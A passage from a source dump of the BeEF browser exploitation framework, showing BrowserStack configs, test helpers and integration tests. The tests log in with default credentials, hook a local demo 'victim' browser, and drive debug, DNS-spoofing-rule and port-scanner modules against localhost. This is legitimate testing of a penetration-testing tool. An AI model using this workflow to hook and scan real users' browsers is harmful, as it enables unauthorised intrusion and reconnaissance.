    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"Windows 8 Firefox 32\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"firefox\"\n    \"browser_version\": \"32.0\"\n    \"os\": \"windows\"\n    \"os_version\": \"8\""
  },
  {
    "path": "spec/support/browserstack/windows/win8/win8_firefox_75.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"Windows 8 Firefox 75\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"firefox\"\n    \"browser_version\": \"75.0\"\n    \"os\": \"windows\"\n    \"os_version\": \"8\""
  },
  {
    "path": "spec/support/browserstack/windows/win8/win8_ie_10.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"Windows 8 IE 10\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"internet explorer\"\n    \"browser_version\": \"10.0\"\n    \"os\": \"windows\"\n    \"os_version\": \"8\""
  },
  {
    "path": "spec/support/browserstack/windows/xp/xp_chrome_14.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"Windows XP Chrome 14\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"chrome\"\n    \"browser_version\": \"14.0\"\n    \"os\": \"windows\"\n    \"os_version\": \"xp\""
  },
  {
    "path": "spec/support/browserstack/windows/xp/xp_chrome_28.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"Windows XP Chrome 28\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"chrome\"\n    \"browser_version\": \"28.0\"\n    \"os\": \"windows\"\n    \"os_version\": \"xp\""
  },
  {
    "path": "spec/support/browserstack/windows/xp/xp_chrome_43.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"Windows XP Chrome 43\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"chrome\"\n    \"browser_version\": \"43.0\"\n    \"os\": \"windows\"\n    \"os_version\": \"xp\""
  },
  {
    "path": "spec/support/browserstack/windows/xp/xp_firefox_16.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"Windows XP Firefox 16\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"firefox\"\n    \"browser_version\": \"16.0\"\n    \"os\": \"windows\"\n    \"os_version\": \"xp\""
  },
  {
    "path": "spec/support/browserstack/windows/xp/xp_firefox_26.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"Windows XP Firefox 26\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"firefox\"\n    \"browser_version\": \"26.0\"\n    \"os\": \"windows\"\n    \"os_version\": \"xp\""
  },
  {
    "path": "spec/support/browserstack/windows/xp/xp_firefox_45.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"Windows XP Firefox 45\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"firefox\"\n    \"browser_version\": \"45.0\"\n    \"os\": \"windows\"\n    \"os_version\": \"xp\""
  },
  {
    "path": "spec/support/browserstack/windows/xp/xp_ie_7.config.yml",
    "content": "server: \"hub-cloud.browserstack.com\"\n\ncommon_caps:\n  \"build\": \"Windows XP IE 7\"\n  \"project\": \"BeEF\"\n  \"browserstack.local\": true\n  \"browserstack.video\": false\n\nbrowser_caps:\n  -\n    \"browser\": \"internet explorer\"\n    \"browser_version\": \"7.0\"\n    \"os\": \"windows\"\n    \"os_version\": \"xp\""
  },
  {
    "path": "spec/support/constants.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nBEEF_TEST_DIR = '/tmp/beef-test/'.freeze\n\n# General constants\nATTACK_DOMAIN = 'localhost'.freeze\nVICTIM_DOMAIN = '127.0.0.1'.freeze\nATTACK_URL = 'http://' + ATTACK_DOMAIN + ':3000/ui/panel'\nVICTIM_URL = 'http://' + VICTIM_DOMAIN + ':3000/demos/basic.html'\n\n# Credentials\nBEEF_USER = ENV['TEST_BEEF_USER'] || 'beef'\nBEEF_PASSWD = ENV['TEST_BEEF_PASS'] || 'beef'\n\n# RESTful API root endpoints\nRESTAPI_HOOKS = 'http://' + ATTACK_DOMAIN + ':3000/api/hooks'\nRESTAPI_LOGS = 'http://' + ATTACK_DOMAIN + ':3000/api/logs'\nRESTAPI_MODULES = 'http://' + ATTACK_DOMAIN + ':3000/api/modules'\nRESTAPI_NETWORK = 'http://' + ATTACK_DOMAIN + ':3000/api/network'\nRESTAPI_PROXY = 'http://' + ATTACK_DOMAIN + ':3000/api/proxy'\nRESTAPI_DNS = 'http://' + ATTACK_DOMAIN + ':3000/api/dns'\nRESTAPI_SENG = 'http://' + ATTACK_DOMAIN + ':3000/api/seng'\nRESTAPI_ADMIN = 'http://' + ATTACK_DOMAIN + ':3000/api/admin'\nRESTAPI_WEBRTC = 'http://' + ATTACK_DOMAIN + ':3000/api/webrtc'\nRESTAPI_REQUESTER = 'http://' + ATTACK_DOMAIN + ':3000/api/requester'\n\n# Other\nPAGE_LOAD_TIMEOUT = 5\nSERVER_START_TIMEOUT = 5\nBROWSER_HOOKING_TIMEOUT = 10 "
  },
  {
    "path": "spec/support/simple_rest_client.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# less noisy verson of BeeRestAPI found in tools.\nclass BeefRestClient\n  def initialize(proto, host, port, user, pass)\n    @user = user\n    @pass = pass\n    @url = \"#{proto}://#{host}:#{port}/api/\"\n    @token = nil\n  end\n\n  def is_pass?(passwd)\n    @pass == passwd\n  end\n\n  def auth\n    response = RestClient.post \"#{@url}admin/login\",\n                                { 'username': \"#{@user}\",\n                                  'password': \"#{@pass}\" }.to_json,\n                                content_type: :json,\n                                accept: :json\n    result = JSON.parse(response.body)\n    @token = result['token']\n    { success: result['success'], payload: result, token: @token }\n  rescue StandardError => e\n    { success: false, payload: e.message }\n  end\n\n  def version\n    return { success: false, payload: 'no token' } if @token.nil?\n\n    begin\n      response = RestClient.get \"#{@url}server/version\", { params: { token: @token } }\n      result = JSON.parse(response.body)\n\n      { success: result['success'], payload: result }\n    rescue StandardError => e\n      print_error \"Could not retrieve BeEF version: #{e.message}\"\n      { success: false, payload: e.message }\n    end\n  end\nend\n"
  },
  {
    "path": "spec/support/ui_support.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'rspec'\nrequire 'rest-client'\nrequire 'spec/support/constants.rb'\n\ndef start_beef_and_hook_browser()\n    reset_beef_db\n    pid = start_beef_server_and_wait\n\n    begin\n        beef_session = BeefTest.login\n        hooked_browser = BeefTest.new_victim\n\n        expect(hooked_browser).not_to be_nil\n        expect(hooked_browser).to be_a(Capybara::Session)\n        expect(hooked_browser).to have_content('BeEF', wait: PAGE_LOAD_TIMEOUT)\n\n        expect(beef_session).not_to be_nil\n        expect(beef_session).to be_a(Capybara::Session)\n        expect(beef_session).to have_content('Hooked Browsers', wait: PAGE_LOAD_TIMEOUT)\n\n        navigate_to_hooked_browser(beef_session)\n\n        expect(beef_session).to have_content('Commands', wait: PAGE_LOAD_TIMEOUT)\n        beef_session.click_on('Commands')\n\n        return pid, beef_session, hooked_browser\n    rescue => e\n        # If setup fails, cleanup the server before re-raising\n        stop_beef_server(pid)\n        raise e\n    end\nend\n\ndef stop_beef_and_unhook_browser(pid, beef_session, hooked_browser)\n    stop_beef_server(pid)\n    beef_session.driver.browser.close if beef_session\n    hooked_browser.driver.browser.close if hooked_browser\nend\n\ndef navigate_to_hooked_browser(session, hooked_browser_text = nil)\n    expect(session).to have_content('Hooked Browsers', wait: PAGE_LOAD_TIMEOUT)\n\n    hooked_browser_text = '127.0.0.1' if hooked_browser_text.nil?\n    expect(session).to have_content(hooked_browser_text, wait: BROWSER_HOOKING_TIMEOUT)\n\n    # click on the hooked browser in the leaf\n    session.all('a', text: hooked_browser_text)[1].click\n    expect(session).to have_content('Commands', wait: PAGE_LOAD_TIMEOUT)\nend\n\ndef navigate_to_category(session, category_name = nil)\n    expect(category_name).not_to be_nil\n    expect(category_name).to be_a(String)\n\n    navigate_to_hooked_browser unless session.has_content?('Current Browser')\n\n    # ensure the command module tree is visible\n    session.click_on('Commands')\n    expect(session).to have_content(category_name, wait: PAGE_LOAD_TIMEOUT)\n\n    session.first(:link_or_button, category_name + \" \").click\nend\n\ndef expand_category_tree(session, category, module_name = nil)\n    if category.is_a?(Array)\n        category.each do |category_name|\n            # find the category element and scroll to it\n            session.all('div', text: category_name).each do |element|\n                begin\n                    element_text = element.text\n                    next unless element_text.start_with?(category_name)\n                    match_data = element_text.match(/\\A([\\w\\s]+)\\s\\((\\d+)\\)\\z/)\n                    next unless match_data\n                \n                    # scroll to the element\n                    session.scroll_to(element)\n                rescue Selenium::WebDriver::Error::StaleElementReferenceError => e\n\n                    puts \"StaleElementReferenceError: #{element_text}\"\n                    puts e.message\n                    next\n                end\n            end\n\n            expect(session).to have_content(category_name, wait: PAGE_LOAD_TIMEOUT)\n            navigate_to_category(session, category_name) unless session.has_content?(module_name)\n        end\n    else\n        navigate_to_category(session, category) unless session.has_content?(module_name)\n        expect(session).to have_content(category, wait: PAGE_LOAD_TIMEOUT)\n    end\n    expect(session).to have_content(module_name, wait: PAGE_LOAD_TIMEOUT)\nend\n        \ndef collapse_category_tree(session, category)\n    if category.is_a?(Array)\n        category.reverse.each do |category_name|\n            # Collapse the sub-folder\n            session.scroll_to(category_name)\n            session.first(:link_or_button, category_name + \" \").click\n        end \n    else\n        session.scroll_to(category)\n        session.first(:link_or_button, category + \" \").click\n    end\nend\n\ndef click_on_module(session, category, module_name)\n    # expand the category tree to make the module visible\n    expand_category_tree(session, category, module_name)\n    \n    # click on the module in the expanded tree\n    session.scroll_to(module_name)\n    expect(session).to have_content(module_name, wait: PAGE_LOAD_TIMEOUT)\n    modules = session.all(:link_or_button, module_name)\n    modules[0].click\nend"
  },
  {
    "path": "test/integration/tc_debug_modules.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'test/unit'\nrequire 'rest-client'\nrequire 'json'\nrequire '../common/test_constants'\nrequire '../common/beef_test'\n\nclass TC_DebugModules < Test::Unit::TestCase\n\n  @@token = nil\n  @@hb_session = nil\n\n  @@mod_debug_long_string = nil\n  @@mod_debug_ascii_chars = nil\n  @@mod_debug_test_network = nil\n\n  # NOTE: Tests within the same test class are called in the order they are defined.\n  # NOTE: However, test classes are run in alphabetical order by classname.\n  # That's why we use the prefix x_N_y, with N being the order of execution.\n  #\n\n  # Test RESTful API authentication with default credentials, returns the API token to be used later.\n  def test_1_restful_auth\n    response = RestClient.post \"#{RESTAPI_ADMIN}/login\",\n                               { 'username' => \"#{BEEF_USER}\",\n                                 'password' => \"#{BEEF_PASSWD}\"}.to_json,\n                               :content_type => :json,\n                               :accept => :json\n    assert_equal 200, response.code\n    assert_not_nil response.body\n    result = JSON.parse(response.body)\n    success = result['success']\n    @@token = result['token']\n    assert(success)\n  end\n\n  # Test RESTful API hooks handler hooking a victim browser, and then retrieving his BeEF session\n  def test_2_restful_hooks\n    BeefTest.new_victim\n    sleep 5.0\n    response = RestClient.get \"#{RESTAPI_HOOKS}\", {:params => {:token => @@token}}\n    assert_equal 200, response.code\n    assert_not_nil response.body\n    result = JSON.parse(response.body)\n    @@hb_session = result[\"hooked-browsers\"][\"online\"][\"0\"][\"session\"]\n    assert_not_nil @@hb_session\n  end\n\n  # Test RESTful API modules handler, retrieving the IDs of the 3 debug modules currently in the framework\n  def test_3_restful_modules\n    response = RestClient.get \"#{RESTAPI_MODULES}\", {:params => {:token => @@token}}\n    assert_equal 200, response.code\n    assert_not_nil response.body\n    result = JSON.parse(response.body)\n    result.each do |mod|\n     case mod[1][\"class\"]\n       when \"Test_return_long_string\"\n         @@mod_debug_long_string = mod[1][\"id\"]\n       when \"Test_return_ascii_chars\"\n         @@mod_debug_ascii_chars = mod[1][\"id\"]\n       when \"Test_network_request\"\n         @@mod_debug_test_network = mod[1][\"id\"]\n     end\n    end\n    assert_not_nil @@mod_debug_long_string\n    assert_not_nil @@mod_debug_ascii_chars\n    assert_not_nil @@mod_debug_test_network\n  end\n  #\n  ## Test debug module \"Test_return_long_string\" using the RESTful API\n  def test_return_long_string\n    repeat_string = \"BeEF\"\n    repeat_count = 20\n\n    response = RestClient.post \"#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_long_string}?token=#{@@token}\",\n                               { 'repeat_string' => repeat_string,\n                                 'repeat'        => repeat_count}.to_json,\n                               :content_type => :json,\n                               :accept => :json\n    assert_equal 200, response.code\n    assert_not_nil response.body\n    result = JSON.parse(response.body)\n    success = result['success']\n    assert success\n\n    cmd_id = result['command_id']\n    count = 0\n    response = RestClient.get \"#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_long_string}/#{cmd_id}?token=#{@@token}\"\n\n    #TODO if the response is empty, the body size is 2, basically an empty Hash.\n    # don't know why empty?, nil and other checks are not working.\n    while(response.body.size <= 2 && count < 10)\n      response = RestClient.get \"#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_long_string}/#{cmd_id}?token=#{@@token}\"\n      sleep 2\n      count += 1\n    end\n    assert_equal 200, response.code\n    assert_not_nil response.body\n    result = JSON.parse(response.body)\n    data = JSON.parse(result['0']['data'])['data']\n    assert_not_nil data\n    assert_equal (repeat_string * repeat_count),data\n  end\n  #\n  ## Test debug module \"Test_return_ascii_chars\" using the RESTful API\n  def test_return_ascii_chars\n    response = RestClient.post \"#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_ascii_chars}?token=#{@@token}\",\n                               {}.to_json, # module does not expect any input\n                               :content_type => :json,\n                               :accept => :json\n    assert_equal 200, response.code\n    assert_not_nil response.body\n    result = JSON.parse(response.body)\n    success = result['success']\n    assert success\n    cmd_id = result['command_id']\n    count = 0\n    response = RestClient.get \"#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_ascii_chars}/#{cmd_id}?token=#{@@token}\"\n\n    #TODO if the response is empty, the body size is 2, basically an empty Hash.\n    # don't know why empty?, nil and other checks are not working.\n    while(response.body.size <= 2 && count < 10)\n       response = RestClient.get \"#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_ascii_chars}/#{cmd_id}?token=#{@@token}\"\n       sleep 2\n       count += 1\n    end\n    assert_equal 200, response.code\n    assert_not_nil response.body\n    result = JSON.parse(response.body)\n    data = JSON.parse(result['0']['data'])['data']\n    assert_not_nil data\n    ascii_chars = \"\"\n    (32..127).each do |i| ascii_chars << i.chr end\n    assert_equal ascii_chars,data\n  end\n\n  # Test debug module \"Test_network_request\" using the RESTful API\n  def test_return_network_request\n\n    # Test same-origin request (response code and content of secret_page.html)\n    response = RestClient.post \"#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_test_network}?token=#{@@token}\",\n                                #override only a few parameters, the other ones will have default values from modules's module.rb definition\n                               {\"domain\" => ATTACK_DOMAIN, \"port\" => \"3000\", \"path\" => \"/demos/secret_page.html\"}.to_json,\n                               :content_type => :json,\n                               :accept => :json\n    assert_equal 200, response.code\n    assert_not_nil response.body\n    result = JSON.parse(response.body)\n    success = result['success']\n    assert success\n\n    cmd_id = result['command_id']\n    count = 0\n    response = RestClient.get \"#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_test_network}/#{cmd_id}?token=#{@@token}\"\n\n    #TODO if the response is empty, the body size is 2, basically an empty Hash.\n    # don't know why empty?, nil and other checks are not working.\n    while(response.body.size <= 2 && count < 10)\n      response = RestClient.get \"#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_test_network}/#{cmd_id}?token=#{@@token}\"\n      sleep 2\n      count += 1\n    end\n    assert_equal 200, response.code\n    assert_not_nil response.body\n    result = JSON.parse(response.body)\n    data = JSON.parse(result['0']['data'])['data']\n    assert_not_nil data\n    assert_equal 200, JSON.parse(data)[\"status_code\"]\n    assert JSON.parse(data)[\"port_status\"].include?(\"open\")\n\n  end\nend\n"
  },
  {
    "path": "test/integration/tc_dns_rest.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'test/unit'\nrequire 'rest-client'\nrequire 'json'\nrequire '../common/test_constants'\n\nclass TC_DnsRest < Test::Unit::TestCase\n\n  class << self\n\n    def startup\n      json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json\n      @@headers = {:content_type => :json, :accept => :json}\n\n      response = RestClient.post(\"#{RESTAPI_ADMIN}/login\",\n                                 json,\n                                 @@headers)\n\n      result = JSON.parse(response.body)\n      @@token = result['token']\n\n      $root_dir = '../../'\n      $:.unshift($root_dir)\n\n      require 'core/loader'\n\n      BeEF::Core::Configuration.new(File.join($root_dir, 'config.yaml'))\n      BeEF::Core::Configuration.instance.load_extensions_config\n\n      @@config = BeEF::Core::Configuration.instance\n    end\n\n    def shutdown\n      $root_dir = nil\n    end\n\n  end\n\n  # Tests POST /api/dns/rule handler with valid input\n  def test_1_add_rule_good\n    pattern = 'foo.bar'\n    resource = 'A'\n    dns_response = ['1.2.3.4']\n\n    json = {:pattern => pattern, :resource => resource, :response => dns_response}.to_json\n\n    rest_response = RestClient.post(\"#{RESTAPI_DNS}/rule?token=#{@@token}\",\n                                    json,\n                                    @@headers)\n\n    check_rest_response(rest_response)\n\n    result = JSON.parse(rest_response.body)\n    first_id = result['id']\n\n    rest_response = RestClient.post(\"#{RESTAPI_DNS}/rule?token=#{@@token}\",\n                                    json,\n                                    @@headers)\n\n    # Verify that adding an existing rule returns its id\n    check_rest_response(rest_response)\n\n    result = JSON.parse(rest_response.body)\n    second_id = result['id']\n\n    assert_equal(first_id, second_id)\n  end\n\n  # Tests POST /api/dns/rule handler with invalid input\n  def test_2_add_rule_bad\n    pattern = ''\n    resource = 'A'\n    dns_response = ['1.1.1.1']\n\n    hash = {:pattern => pattern, :resource => resource, :response => dns_response}\n\n    # Test that an empty \"pattern\" key returns 400\n    assert_raise RestClient::BadRequest do\n      rest_response = RestClient.post(\"#{RESTAPI_DNS}/rule?token=#{@@token}\",\n                                      hash.to_json,\n                                      @@headers)\n    end\n\n    hash['pattern'] = 'foo.bar.baz'\n    hash['resource'] = ''\n\n    # Test that an empty \"resource\" key returns 400\n    assert_raise RestClient::BadRequest do\n      rest_response = RestClient.post(\"#{RESTAPI_DNS}/rule?token=#{@@token}\",\n                                      hash.to_json,\n                                      @@headers)\n    end\n\n    hash['resource'] = 'A'\n    hash['response'] = []\n\n    # Test that an empty \"response\" key returns 400\n    assert_raise RestClient::BadRequest do\n      rest_response = RestClient.post(\"#{RESTAPI_DNS}/rule?token=#{@@token}\",\n                                      hash.to_json,\n                                      @@headers)\n    end\n\n    hash['response'] = 42\n\n    # Test that a non-array \"response\" key returns 400\n    assert_raise RestClient::BadRequest do\n      rest_response = RestClient.post(\"#{RESTAPI_DNS}/rule?token=#{@@token}\",\n                                      hash.to_json,\n                                      @@headers)\n    end\n  end\n=begin\n  # Tests POST /api/dns/rule handler with each supported RR type\n  def test_3_add_rule_types\n    pattern = 'be.ef'\n    resource = 'AAAA'\n    response = ['2001:db8:ac10:fe01::']\n\n    # Test AAAA type\n    rule = {'pattern' => pattern, 'resource' => resource, 'response' => response}\n\n    regex = %r{\n      ^#{rule['pattern']}\\.\\t+\n      \\d+\\t+\n      IN\\t+\n      #{rule['resource']}\\t+\n      #{rule['response'][0]}$\n    }x\n\n    add_rule(rule)\n    check_dns_response(regex, rule['resource'], rule['pattern'])\n\n    # Test CNAME type\n    rule['resource'] = 'CNAME'\n    rule['response'] = ['fe.eb.']\n\n    regex = %r{\n      ^#{rule['pattern']}\\.\\t+\n      \\d+\\t+\n      IN\\t+\n      #{rule['resource']}\\t+\n      #{rule['response'][0]}$\n    }x\n\n    add_rule(rule)\n    check_dns_response(regex, rule['resource'], rule['pattern'])\n\n    # Test HINFO type\n    rule['resource'] = 'HINFO'\n    rule['response'] = ['M6800', 'VMS']\n\n    regex = %r{\n      ^#{rule['pattern']}\\.\\t+\n      \\d+\\t+\n      IN\\t+\n      #{rule['resource']}\\t+\n      \"#{rule['response'][0]}\"\\s+\n      \"#{rule['response'][1]}\"$\n    }x\n\n    add_rule(rule)\n    check_dns_response(regex, rule['resource'], rule['pattern'])\n\n    # Test MINFO type\n    rule['resource'] = 'MINFO'\n    rule['response'] = ['rmail.be.ef.', 'email.be.ef.']\n\n    regex = %r{\n      ^#{rule['pattern']}\\.\\t+\n      \\d+\\t+\n      IN\\t+\n      #{rule['resource']}\\t+\n      #{rule['response'][0]}\\s+\n      #{rule['response'][1]}$\n    }x\n\n    add_rule(rule)\n    check_dns_response(regex, rule['resource'], rule['pattern'])\n\n    # Test MX type\n    rule['resource'] = 'MX'\n    rule['response'] = [10, 'mail.be.ef.']\n\n    regex = %r{\n      ^#{rule['pattern']}\\.\\t+\n      \\d+\\t+\n      IN\\t+\n      #{rule['resource']}\\t+\n      #{rule['response'][0]}\\s+\n      #{rule['response'][1]}$\n    }x\n\n    add_rule(rule)\n    check_dns_response(regex, rule['resource'], rule['pattern'])\n\n    # Test NS type\n    rule['resource'] = 'NS'\n    rule['response'] = ['ns.be.ef.']\n\n    regex = %r{\n      ^#{rule['pattern']}\\.\\t+\n      \\d+\\t+\n      IN\\t+\n      #{rule['resource']}\\t+\n      #{rule['response'][0]}$\n    }x\n\n    add_rule(rule)\n    check_dns_response(regex, rule['resource'], rule['pattern'])\n\n    # Test PTR type\n    rule['resource'] = 'PTR'\n    rule['response'] = ['4.3.2.1.in-addr.arpa.']\n\n    regex = %r{\n      ^#{rule['pattern']}\\.\\t+\n      \\d+\\t+\n      IN\\t+\n      #{rule['resource']}\\t+\n      #{rule['response'][0]}$\n    }x\n\n    add_rule(rule)\n    check_dns_response(regex, rule['resource'], rule['pattern'])\n\n    # Test SOA type\n    rule['resource'] = 'SOA'\n    rule['response'] = [\n        \"ns.#{rule['pattern']}.\",\n        \"mail.#{rule['pattern']}.\",\n        2012031500,\n        10800,\n        3600,\n        604800,\n        3600\n    ]\n\n    regex = %r{\n      ^#{rule['pattern']}\\.\\t+\n      \\d+\\t+\n      IN\\t+\n      #{rule['resource']}\\t+\n      .*\n    }x\n\n    add_rule(rule)\n    check_dns_response(regex, rule['resource'], rule['pattern'])\n\n    # Test TXT type\n    rule['resource'] = 'TXT'\n    rule['response'] = ['b33f_is_s0_l33t']\n\n    regex = %r{\n      ^#{rule['pattern']}\\.\\t+\n      \\d+\\t+\n      IN\\t+\n      #{rule['resource']}\\t+\n      \"#{rule['response'][0]}\"$\n    }x\n\n    add_rule(rule)\n    check_dns_response(regex, rule['resource'], rule['pattern'])\n\n    # Test WKS type\n    rule['resource'] = 'WKS'\n    rule['response'] = ['9.9.9.9', 6, 0]\n\n    regex = %r{\n      ^#{rule['pattern']}\\.\\t+\n      \\d+\\t+\n      IN\\t+\n      #{rule['resource']}\\t+\n      #{rule['response'][0]}\\s\n      0\\s5\\s6$\n    }x\n\n    add_rule(rule)\n    check_dns_response(regex, rule['resource'], rule['pattern'])\n\n    # Test that an invalid RR returns 400\n    rule['resource'] = 'BeEF'\n\n    assert_raise RestClient::BadRequest do\n      rest_response = RestClient.post(\"#{RESTAPI_DNS}/rule?token=#{@@token}\",\n                                      rule.to_json,\n                                      @@headers)\n    end\n  end\n=begin\n  # Tests GET /api/dns/rule/:id handler with valid input\n  def test_4_get_rule_good\n    pattern = 'wheres.the.beef'\n    resource = 'A'\n    dns_response = ['4.2.4.2']\n\n    json = {:pattern => pattern, :resource => resource, :response => dns_response}.to_json\n\n    rest_response = RestClient.post(\"#{RESTAPI_DNS}/rule?token=#{@@token}\",\n                                    json,\n                                    @@headers)\n\n    check_rest_response(rest_response)\n    result = JSON.parse(rest_response.body)\n    id = result['id']\n\n    rest_response = RestClient.get(\"#{RESTAPI_DNS}/rule/#{id}\", :params => {:token => @@token})\n\n    assert_not_nil(rest_response.body)\n    assert_equal(200, rest_response.code)\n\n    result = JSON.parse(rest_response.body)\n\n    assert_equal(id, result['id'])\n    assert_equal(pattern, result['pattern'])\n    assert_equal(resource, result['resource'])\n    assert_equal(dns_response, result['response'])\n  end\n\n  # Tests GET /api/dns/rule/:id handler with invalid input\n  def test_5_get_rule_bad\n    id = 42\n\n    assert_raise RestClient::ResourceNotFound do\n      response = RestClient.get(\"#{RESTAPI_DNS}/rule/#{id}\", :params => {:token => @@token})\n    end\n\n    id = '(*_*)'\n\n    assert_raise RestClient::BadRequest do\n      RestClient.get(\"#{RESTAPI_DNS}/rule/#{id}\", :params => {:token => @@token})\n    end\n  end\n\n  # Tests GET /api/dns/ruleset handler\n  def test_6_get_ruleset\n    rest_response = RestClient.get(\"#{RESTAPI_DNS}/ruleset\", :params => {:token => @@token})\n\n    assert_not_nil(rest_response.body)\n    assert_equal(200, rest_response.code)\n\n    result = JSON.parse(rest_response.body)\n    assert_equal(15, result['count'])\n\n    result['ruleset'].each do |rule|\n      assert(rule['id'])\n      assert(rule['pattern'])\n      assert(rule['resource'])\n      assert(rule['response'].length != 0)\n    end\n  end\n=end\n  private\n\n  # Adds a new DNS rule\n  def add_rule(params)\n    response = RestClient.post(\"#{RESTAPI_DNS}/rule?token=#{@@token}\",\n                               params.to_json,\n                               @@headers)\n\n    check_rest_response(response)\n  end\n\n  # Standard assertions for verifying response from RESTful API\n  def check_rest_response(response)\n    assert_not_nil(response.body)\n    assert_equal(200, response.code)\n\n    result = JSON.parse(response.body)\n\n    assert(result['success'])\n    assert(result['id'])\n  end\n\n  # Compares output of dig command against regex\n  def check_dns_response(regex, type, pattern)\n    address = @@config.get('beef.extension.dns.address')\n    port = @@config.get('beef.extension.dns.port')\n\n    dig_output = IO.popen([\"dig\", \"@#{address}\", \"-p\", \"#{port}\", \"-t\", \"#{type}\", \"#{pattern}\"], 'r+').read\n    assert_match(regex, dig_output)\n  end\n\nend\n"
  },
  {
    "path": "test/integration/tc_network_rest.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nrequire 'test/unit'\nrequire 'rest-client'\nrequire 'json'\nrequire '../common/test_constants'\n\nclass TC_NetworkRest < Test::Unit::TestCase\n\n  class << self\n\n    def startup\n      $root_dir = '../../'\n      $:.unshift($root_dir)\n\n      # login and get api token\n      json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json\n      @@headers = {:content_type => :json, :accept => :json}\n\n      response = RestClient.post(\"#{RESTAPI_ADMIN}/login\",\n                                 json,\n                                 @@headers)\n\n      result = JSON.parse(response.body)\n      @@token = result['token']\n\n      # create hooked browser and get session id\n      BeefTest.new_victim\n      sleep 5.0\n      response = RestClient.get \"#{RESTAPI_HOOKS}\", {:params => {:token => @@token}}\n      result = JSON.parse(response.body)\n      @@hb_session = result[\"hooked-browsers\"][\"online\"][\"0\"][\"session\"]\n\n      # Retrieve Port Scanner module command ID\n      response = RestClient.get \"#{RESTAPI_MODULES}\", {:params => {:token => @@token}}\n      result = JSON.parse(response.body)\n      result.each do |mod|\n        if mod[1]['class'] == 'Port_scanner'\n          @@mod_port_scanner = mod[1][\"id\"]\n          break\n        end\n      end\n\n      # Execute the Port Scanner module on the BeEF host to populate NetworkService object\n      # Port Scanner module works only for Chrome and Firefox\n      response = RestClient.post \"#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_port_scanner}?token=#{@@token}\",\n                               { 'ipHost' => \"#{ATTACK_DOMAIN}\",\n                                 'ports' => 3000,\n                                 'closetimeout' => 1100,\n                                 'opentimeout' => 2500,\n                                 'delay' => 600,\n                                 'debug' => false}.to_json,\n                               :content_type => :json,\n                               :accept => :json\n      result = JSON.parse(response.body)\n      success = result['success']\n      @@cmd_id = result['command_id']\n      sleep 15.0\n    end\n\n    def shutdown\n      $root_dir = nil\n    end\n\n  end\n\n  # Ensure the Port Scanner module identified the BeEF host\n  def test_port_scanner_results\n    rest_response = RestClient.get \"#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_port_scanner}/#{@@cmd_id}?token=#{@@token}\"\n    check_rest_response(rest_response)\n    result = JSON.parse(rest_response.body)\n    raise \"Port Scanner module failed to identify any open 